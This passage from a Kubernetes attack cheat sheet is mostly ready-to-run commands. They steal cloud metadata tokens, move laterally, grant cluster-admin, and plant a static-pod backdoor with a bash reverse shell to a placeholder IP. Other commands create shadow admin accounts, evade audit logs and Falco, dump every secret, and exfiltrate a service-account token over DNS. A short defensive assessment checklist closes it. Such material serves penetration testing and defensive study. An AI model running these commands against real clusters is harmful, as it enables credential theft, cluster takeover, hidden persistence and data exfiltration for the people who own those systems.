curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
# kube-env may contain kubelet certs!
# Azure
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# --- Use stolen cloud creds ---
# AWS
export AWS_ACCESS_KEY_ID=<KEY>
export AWS_SECRET_ACCESS_KEY=<SECRET>
export AWS_SESSION_TOKEN=<TOKEN>
aws sts get-caller-identity
aws eks list-clusters
aws eks update-kubeconfig --name <CLUSTER_NAME> --region <REGION>
# GCP
# Use the token in API calls
curl -s -H "Authorization: Bearer <TOKEN>" https://container.googleapis.com/v1/projects/<PROJECT>/locations/-/clusters
# --- Check if metadata access is blocked ---
curl -s --connect-timeout 2 http://169.254.169.254/
# Timeout = NetworkPolicy or iptables blocking metadata
Lateral Movement in K8s
# --- Pod to pod ---
# If no NetworkPolicies, every pod can reach every other pod
curl http://<POD_IP>:<PORT>
# Find services with internal ClusterIP
kubectl get svc -A -o json | jq '.items[] | {name: .metadata.name, ns: .metadata.namespace, ip: .spec.clusterIP, ports: [.spec.ports[].port]}'
# DNS-based discovery from inside a pod
nslookup <SERVICE_NAME>.<NAMESPACE>.svc.cluster.local
# --- Node to node ---
# If you've escaped to a node:
# Read kubelet config to get API server creds
cat /etc/kubernetes/kubelet.conf
# Pivot to other nodes
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes -o wide
ssh <OTHER_NODE_IP> # if SSH keys are shared
# --- Cross-namespace ---
# If your SA has cluster-wide permissions:
kubectl exec -it <POD> -n <OTHER_NS> -- bash
# Deploy to another namespace
kubectl run shell --image=ubuntu -n <TARGET_NS> --command -- sleep infinity
kubectl exec -it shell -n <TARGET_NS> -- bash
# --- Service account chaining ---
# Use one SA's permissions to read another SA's token
kubectl get secret -n <NS> -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, token: .data.token}'
Privilege Escalation Paths
# --- Common K8s privilege escalation paths ---
# 1. Pod creation → mount host filesystem → node root
# (If you can create pods with hostPath)
# 2. Pod creation → privileged container → nsenter → node root
# 3. SA token → create pods → deploy as cluster-admin SA
# 4. SA token → read secrets → find admin creds
# 5. Kubelet API → exec into privileged pod → escape
# 6. etcd access → dump all secrets → cluster-admin
# 7. Cloud metadata → IAM role → EKS/GKE/AKS admin
# 8. RBAC: create/patch rolebindings → grant yourself cluster-admin
kubectl create clusterrolebinding pwned --clusterrole=cluster-admin --user=<YOUR_USER>
kubectl create clusterrolebinding pwned --clusterrole=cluster-admin --serviceaccount=<NS>:<SA>
# 9. RBAC: escalate via impersonation
kubectl --as=system:admin get secrets -A
# 10. RBAC: patch deployments → inject sidecar with privileged SA
# --- Check for escalation paths ---
kubectl auth can-i create clusterrolebindings
kubectl auth can-i bind clusterroles
kubectl auth can-i escalate clusterroles
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i patch deployments --all-namespaces
kubectl auth can-i create pods/exec --all-namespaces
# Automated check with kubectl-who-can
kubectl who-can create clusterrolebindings
kubectl who-can create pods -n kube-system
# --- 3. Mutating webhook (intercept all pod creation) ---
# Create a webhook that injects a sidecar container into every new pod
# This gives persistent access to every pod in the cluster
# --- 4. Static pod on node ---
# If you have node access, place a manifest in /etc/kubernetes/manifests/
# Kubelet auto-creates pods from files in this directory
cat > /etc/kubernetes/manifests/backdoor.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: backdoor
namespace: kube-system
spec:
hostNetwork: true
containers:
- name: shell
image: ubuntu
command: ["/bin/bash", "-c", "while true; do bash -i >& /dev/tcp/<IP>/443 0>&1; sleep 3600; done"]
securityContext:
privileged: true
EOF
# --- 5. Shadow admin — create a new cluster-admin SA ---
kubectl create serviceaccount backdoor-sa -n kube-system
kubectl create clusterrolebinding backdoor-binding --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor-sa
# Get the token for later use
kubectl create token backdoor-sa -n kube-system --duration=8760h
Admission Controller Bypass
# --- Identify active admission controllers ---
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations
# --- Bypass techniques ---
# 1. Target namespaces excluded from webhook (often kube-system)
kubectl get validatingwebhookconfigurations -o json | jq '.items[] | {name: .metadata.name, namespaceSelector: .webhooks[].namespaceSelector}'
# If kube-system is excluded, deploy there
# 2. Use resource types the webhook doesn't cover
# Many webhooks only check Pods/Deployments
# Try: DaemonSets, StatefulSets, Jobs, CronJobs, ReplicaSets
# 3. Webhook failure mode
kubectl get validatingwebhookconfigurations -o json | jq '.items[].webhooks[].failurePolicy'
# "Ignore" = if webhook is down, requests pass through!
# Kill the webhook pod → deploy anything
# 4. Direct API version
# Some webhooks only intercept certain API versions
# Try v1beta1 vs v1
# 5. Ephemeral containers (may bypass pod security checks)
kubectl debug -it <POD> --image=ubuntu --target=<CONTAINER>
Helm & Tiller Attacks
# --- Helm 2 + Tiller (legacy but still found) ---
# Tiller runs as cluster-admin in kube-system
# If you can reach Tiller's gRPC (port 44134):
# Check for Tiller
kubectl get pods -n kube-system | grep tiller
kubectl get svc -n kube-system | grep tiller
# Access Tiller directly (if port is exposed or you can port-forward)
helm --host <TILLER_IP>:44134 version
helm --host <TILLER_IP>:44134 install --name pwn ./malicious-chart
# From inside a pod that can reach tiller-deploy:44134
# Install helm2 client and connect to tiller
# --- Helm 3 (no Tiller) ---
# Helm 3 release secrets are stored as K8s secrets
kubectl get secrets -A | grep sh.helm.release
# Decode to get chart values (may contain creds)
kubectl get secret <RELEASE_SECRET> -o json | jq -r '.data.release' | base64 -d | base64 -d | gzip -d | jq .
CI/CD Pipeline Attacks
# --- K8s service accounts used by CI/CD ---
# Jenkins, GitLab Runner, ArgoCD, Flux often have cluster-admin
# Find CI/CD pods
kubectl get pods -A | grep -iE "jenkins|gitlab|runner|argocd|flux|tekton|drone|concourse"
# Check their service accounts
kubectl get pod <CI_POD> -n <NS> -o json | jq '.spec.serviceAccountName'
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name | test("jenkins|gitlab|argocd|flux")) | {name: .metadata.name, role: .roleRef.name}'
# --- ArgoCD ---
# Default admin password is the argocd-server pod name
kubectl get pods -n argocd -l app.kubernetes.io/name=argocd-server -o name | cut -d/ -f2
# Or check the secret
kubectl get secret argocd-initial-admin-secret -n argocd -o json | jq -r '.data.password' | base64 -d
# ArgoCD API
curl -sk https://<ARGOCD_URL>/api/v1/session -d '{"username":"admin","password":"<PASSWORD>"}'
# --- GitLab Runner secrets ---
kubectl get secrets -n gitlab | grep runner
kubectl get secret <RUNNER_SECRET> -n gitlab -o json | jq '.data | map_values(@base64d)'
# May contain CI_SERVER_URL, RUNNER_TOKEN
# --- Flux ---
kubectl get gitrepositories -A
kubectl get kustomizations -A
# Flux stores git credentials as secrets
kubectl get secrets -A | grep flux
Managed K8s Specifics
EKS (AWS)
# --- EKS specific ---
# List clusters
aws eks list-clusters --region <REGION>
aws eks describe-cluster --name <CLUSTER> --region <REGION>
aws eks update-kubeconfig --name <CLUSTER> --region <REGION>
# Check OIDC provider (used for IRSA)
aws eks describe-cluster --name <CLUSTER> --query "cluster.identity.oidc.issuer"
# Check node IAM role
aws eks describe-nodegroup --cluster-name <CLUSTER> --nodegroup-name <NODEGROUP> --query "nodegroup.nodeRole"
# From a pod: check if IRSA is configured (projected SA token)
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token 2>/dev/null
# If present, this pod has a specific IAM role instead of the node role
# EKS auth configmap (who can authenticate)
kubectl get configmap aws-auth -n kube-system -o yaml
# This maps IAM roles/users to K8s RBAC
# If you can edit aws-auth, add yourself as cluster-admin:
# mapUsers:
# - userarn: arn:aws:iam::<ACCOUNT>:user/<YOU>
# username: admin
# groups: ["system:masters"]
AKS (Azure)
# --- AKS specific ---
az aks list
az aks get-credentials --resource-group <RG> --name <CLUSTER>
# Check for Azure AD integration
az aks show --resource-group <RG> --name <CLUSTER> --query "aadProfile"
# Pod managed identity
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Azure Key Vault integration
kubectl get secretproviderclass -A
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.csi.driver == "secrets-store.csi.k8s.io")'
GKE (Google Cloud)
# --- GKE specific ---
gcloud container clusters list
gcloud container clusters get-credentials <CLUSTER> --zone <ZONE>
# Check for Workload Identity
gcloud container clusters describe <CLUSTER> --zone <ZONE> --format="get(workloadIdentityConfig)"
# GKE metadata concealment
# From a pod:
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
# If kube-env is accessible, it contains kubelet bootstrap creds
# Check node pool config
gcloud container node-pools list --cluster <CLUSTER> --zone <ZONE>
gcloud container node-pools describe <POOL> --cluster <CLUSTER> --zone <ZONE>
Defense Evasion
# --- Avoid audit logs ---
# K8s audit logs track API requests
# Check audit policy
kubectl get configmap -n kube-system | grep audit
# Lower-noise approaches:
# - Use read-only operations (get, list, watch) — often not logged at RequestResponse level
# - Operate from inside pods (API calls from pods blend with normal traffic)
# - Use the kubelet API directly (often not in K8s audit logs)
# --- Avoid Falco/runtime detection ---
# Falco monitors syscalls in containers
# Check for Falco
kubectl get pods -A | grep falco
kubectl get daemonset -A | grep falco
# Lower-noise:
# - Use interpreted languages (Python/Node) instead of spawning new processes
# - Avoid common alert triggers: /etc/shadow reads, /proc/self/exe, reverse shells
# - Use legitimate-looking binaries (curl, wget are normal in most containers)
# --- Pod name camouflage ---
# Name pods to look legitimate
kubectl run kube-proxy-health --image=ubuntu -n kube-system -- sleep infinity
# Looks like a system component
# --- Cleanup ---
# Delete your pods/resources when done
kubectl delete pod <POD> -n <NS>
kubectl delete cronjob <NAME> -n <NS>
kubectl delete clusterrolebinding <NAME>
Post-Exploitation & Data Exfiltration
# --- Dump all secrets ---
kubectl get secrets -A -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}' > all_secrets.json
# --- Dump configmaps ---
kubectl get configmaps -A -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: .data}' > all_configmaps.json
# --- Find databases ---
kubectl get svc -A | grep -iE "mysql|postgres|mongo|redis|elastic|kafka|rabbit"
kubectl get pods -A | grep -iE "mysql|postgres|mongo|redis|elastic"
# --- Access databases (via port-forward or direct pod IP) ---
kubectl port-forward svc/<DB_SVC> -n <NS> 3306:3306 &
mysql -h 127.0.0.1 -u <USER> -p'<PASS>'
# --- Copy files from pods ---
kubectl cp <NS>/<POD>:/path/to/file ./local_copy
kubectl cp <NS>/<POD>:/var/log/ ./pod_logs/
# --- Exfil via DNS (if egress is blocked) ---
# From inside a pod, encode data in DNS queries
cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | fold -w 60 | while read line; do
nslookup "$line.exfil.yourdomain.com"
done
# --- Persistent access via cloud ---
# If you got cloud creds from metadata, create a backdoor at the cloud level
# AWS: create IAM user, add to EKS
# GCP: create service account key
# Azure: create app registration
Security Checklist
=== KUBERNETES SECURITY ASSESSMENT CHECKLIST ===
[ ] API SERVER
[ ] Anonymous authentication disabled
[ ] Insecure port (8080) disabled
[ ] RBAC enabled (--authorization-mode=RBAC)
[ ] Audit logging enabled
[ ] Admission controllers active (PodSecurity, OPA/Gatekeeper)
[ ] TLS certificates valid and rotated
[ ] ETCD
[ ] Authentication required (client certs)
[ ] Encrypted at rest
[ ] Not exposed externally
[ ] TLS peer communication
[ ] KUBELET
[ ] Anonymous auth disabled (--anonymous-auth=false)
[ ] Authorization mode webhook (not AlwaysAllow)
[ ] Read-only port (10255) disabled
[ ] TLS bootstrapping configured
[ ] RBAC
[ ] No unnecessary cluster-admin bindings
[ ] Service accounts follow least privilege
[ ] No wildcard (*) permissions in roles
[ ] automountServiceAccountToken: false where not needed
[ ] Regular RBAC audits
[ ] POD SECURITY
[ ] No privileged containers in non-system namespaces
[ ] No hostPID/hostNetwork/hostIPC
[ ] No dangerous capabilities (SYS_ADMIN, SYS_PTRACE)
[ ] readOnlyRootFilesystem: true
[ ] runAsNonRoot: true
[ ] No hostPath mounts to sensitive directories
[ ] Resource limits set
[ ] Seccomp/AppArmor profiles applied
[ ] NETWORK
[ ] NetworkPolicies enforce segmentation
[ ] Default deny ingress/egress
[ ] Metadata API blocked from pods (169.254.169.254)
[ ] Inter-namespace traffic restricted
[ ] NodePort range limited
[ ] SECRETS
[ ] Encrypted at rest (EncryptionConfiguration)
[ ] External secret management (Vault, AWS SM, etc.)
[ ] No secrets in environment variables or configmaps
[ ] Secret access audited
[ ] IMAGES
[ ] Images from trusted registries only
[ ] Image scanning in CI/CD
[ ] No latest tag (use immutable digests)
[ ] Image pull policy: Always (prevent local tampering)
[ ] Signed images (cosign/Notary)
[ ] CLOUD (EKS/AKS/GKE)
[ ] IRSA/Workload Identity for pod-level IAM
[ ] Metadata service access restricted
[ ] Node IAM role least privilege
[ ] Private API endpoint (or restricted public)
[ ] Logging to cloud SIEM (CloudTrail/Stackdriver/Azure Monitor)